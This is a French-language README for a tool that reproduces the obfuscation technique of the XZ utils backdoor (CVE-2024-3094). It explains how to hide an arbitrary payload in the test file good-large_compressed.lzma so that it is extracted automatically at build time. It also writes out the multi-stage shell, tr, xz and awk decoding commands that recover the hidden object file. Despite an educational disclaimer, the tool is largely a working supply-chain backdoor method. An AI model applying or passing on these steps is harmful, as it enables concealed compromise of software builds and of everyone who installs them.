
Script pour obscurcir une charge utile de la même manière que celle utilisée par l'attaque XZ utils (CVE-2024-3094)
Ce script reproduit la technique d'obfuscation utilisée pour l'attaque XZ utils (CVE-2024-3094). Il a été testé uniquement pour xzutils v5.6.0.
⚠️ Ce code est fourni à des fins éducatives uniquement et ne doit pas être utilisé pour des activités malveillantes. Utilisez-le à vos propres risques. ⚠️
Vous devez avoir le fichier original good-large_compressed.lzma de xzutils 5.6.0 dans votre dossier de travail.
Exécutez la commande suivante
./obfuscate_payload.sh [votre_payload]
Un fichier good-large_compressed.lzma.modified sera créé, qui doit être placé dans le dossier test/files du code source de xzutils 5.6.0 sous le nom good-large_compressed.lzma.
La porte dérobée sera alors extraite lors du processus de compilation.
Ce code a été testé avec un fichier liblzma_la-crc64-fast.o édité de la même taille que l'original. L'utilisation d'un fichier plus grand peut ne pas fonctionner, car la taille du payload est limitée.
Cette partie est facultative, elle montre comment désopacifier le payload à partir de good-large_compressed.lzma. Vous pouvez l'utiliser avec le fichier original, ou avec un fichier créé à l'aide de ce projet.
Vous devez avoir les fichiers originaux good-large_compressed.lzma et bad-3-corrupt_lzma2.xz de xzutils 5.6.0 dans votre dossier de travail.
bad-3-corrupt_lzma2.xzgl_am_configmake=bad-3-corrupt_lzma2.xz
gl_path_unmap='tr " \t_\-" "\t \-_"' # Reverse the character mapping
gl_prefix=`echo $gl_am_configmake | sed "s/.*\.//g"`
gl_reverse_config="sed ':a;N;\$!ba;s/\n//g' $gl_am_configmake | eval $gl_path_unmap"
eval $gl_reverse_config
Cela vous donnera un script bash qui exécutera l'étape 2.
good-large_compressed.lzmaExécutez le code suivant, extrait de la sortie de l'étape 1
export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +724)";(xz -dc good-large_compressed.lzma|eval $i|tail -c +31265|tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377")|xz -F raw --lzma1 -dc
Cela vous donnera un autre script bash qui exécutera l'étape 3.
good-large_compressed.lzmaExécutez le code suivant, extrait de la sortie de l'étape 2.
W=88792
N=0
p="good-large_compressed.lzma"
i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +724)"
xz -dc $p | eval $i | LC_ALL=C sed "s/\(.\)/\1\n/g" | LC_ALL=C awk 'BEGIN{FS="\n";RS="\n";ORS="";m=256;for(i=0;i<m;i++){t[sprintf("x%c",i)]=i;c[i]=((i*7)+5)%m;}i=0;j=0;for(l=0;l<4096;l++){i=(i+1)%m;a=c[i];j=(j+a)%m;c[i]=c[j];c[j]=a;}}{v=t["x" (NF<1?RS:$1)];i=(i+1)%m;a=c[i];j=(j+a)%m;b=c[j];c[i]=b;c[j]=a;k=c[(a+b)%m];printf "%c",(v+k)%m}' | xz -dc --single-stream | ((head -c +$N > /dev/null 2>&1) && head -c +$W) > liblzma_la-crc64-fast.o || true
Cela extraira le payload obfusqué liblzma_la-crc64-fast.o